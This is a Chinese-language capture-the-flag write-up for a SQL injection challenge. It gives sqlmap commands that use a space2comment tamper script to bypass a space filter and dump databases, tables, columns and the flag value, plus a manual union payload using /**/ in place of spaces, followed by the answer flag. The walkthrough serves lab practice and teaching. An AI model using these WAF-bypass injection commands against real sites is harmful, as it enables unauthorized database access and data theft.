解题链接
思路
先单引号试一下发现报错,所以基本存在注入,然后我们用空格会爆SQLi detected!因此被过滤了,所以过滤的是空格,然后就可以用sqlmap爆库爆表爆字段爆值了
1.爆库
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
-u:指目标的URL
--tamper:绕过WAF脚本
space2comment:tamper脚本之一用于绕过过滤空格
--dbs:列举数据库
information_schema和test都是MySQL自带的库,所以不用管,接下来要爆的表肯定是在web1这个库中
2.爆表
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
-D:后面跟数据库的名字
--tables:列举库中的表
可以看到这个库中就两个表,一个flag,另一个web_1,继续爆flag这个表里面的字段
3.爆字段
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column
-T:后面跟表名字
--column;列举表中的列名(字段)
4.爆值
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump
-C:后面跟列的名字
--dump:取出表单所有记录
其实在爆出表和字段之后就可以利用union联合查询查出flag了,因为频闭了空格,可以利用/**/来代替空格
1'/**/union/**/select/**/flag/**/from/**/flag#
答案
flag{Y0u_@r3_5O_dAmn_90Od}